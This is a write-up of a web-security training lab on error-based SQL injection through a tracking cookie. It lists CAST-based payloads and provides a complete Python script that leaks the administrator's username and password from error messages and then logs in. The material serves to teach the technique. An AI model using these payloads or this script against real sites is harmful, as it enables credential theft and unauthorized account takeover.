SQLi Lab 13
SQL injection for leaking administrator password via tracking cookie
Visible error-based SQL injection#
This lab demonstrates a visible error-based SQL injection attack. The application uses a TrackingId
cookie for analytics, and the submitted value is included in a SQL query. While the results of the query are not returned directly, verbose database error messages can be leveraged to extract sensitive data.
By carefully manipulating the cookie value, we can leak the administrator username and password from the users
table. The attack uses CAST
to convert subquery results to integers and isolates a single row to trigger an informative error, revealing the database content one piece at a time.
How Exploit Works#
- Intercept a GET
/
request containing theTrackingId
cookie. - Append a single quote to the cookie to generate a SQL error:
TrackingId=ogAZZfxtOKUELbuJ'
- Add comment characters to ignore the rest of the query:
TrackingId=ogAZZfxtOKUELbuJ'--
- Include a
CAST
operation to craft a valid subquery:TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
- Adapt the query to retrieve the username:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
- The resulting database error reveals the first username (
administrator
). - Modify the query to extract the administrator password:
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
- Use the leaked password to log in as the administrator and complete the lab.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmdExploit#
exploit.py
import requests
import sys
import urllib3
import re
from bs4 import BeautifulSoup
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Burp Suite proxy (optional)
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
def check_burp():
"""Check if Burp Suite proxy is running."""
try:
requests.get("http://127.0.0.1:8080", timeout=3)
except requests.exceptions.RequestException:
print("[-] Burp Suite is not running. Please start it and try again.")
sys.exit(1)
def extract_value(url, column):
"""
Extracts username or password from error-based SQLi.
Uses regex to cleanly capture leaked values from error message.
"""
payload = f"' AND 1=CAST((SELECT {column} FROM users LIMIT 1) AS int)--"
cookies = {"TrackingId": payload, "session": "dummy"}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
match = re.search(r'invalid input syntax for type integer: "([^"]+)"', r.text)
if match:
return match.group(1) # only the actual leaked value
return None
def login(url, username, password):
"""Log in using CSRF token and check if lab solved."""
login_url = url.rstrip("/") + "/login"
session = requests.Session()
# Step 1: Get CSRF token
res = session.get(login_url, verify=False, proxies=proxies)
res.raise_for_status()
soup = BeautifulSoup(res.text, "html.parser")
csrf_token = soup.find("input", {"name": "csrf"})["value"]
# Step 2: Submit login
data = {
"csrf": csrf_token,
"username": username,
"password": password
}
res = session.post(login_url, data=data, verify=False, proxies=proxies)
res.raise_for_status()
if "Log out" in res.text:
print(f"[+] Logged in as {username}. Checking if lab is solved...")
base_res = session.get(url, verify=False, proxies=proxies)
if "Congratulations" in base_res.text:
print("[+] Lab solved 🎉")
return True
else:
print("[-] Logged in but lab not solved.")
else:
print("[-] Login failed.")
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>")
print(f"Example: python {sys.argv[0]} https://example.com")
sys.exit(1)
url = sys.argv[1].strip()
check_burp()
print("[*] Extracting administrator username...")
username = extract_value(url, "username")
if not username:
print("[-] Failed to extract username")
sys.exit(1)
print(f"[+] Found username: {username}")
print("[*] Extracting administrator password...")
password = extract_value(url, "password")
if not password:
print("[-] Failed to extract password")
sys.exit(1)
print(f"[+] Found password: {password}")
print("[*] Logging in...")
login(url, username, password)
if __name__ == "__main__":
main()
python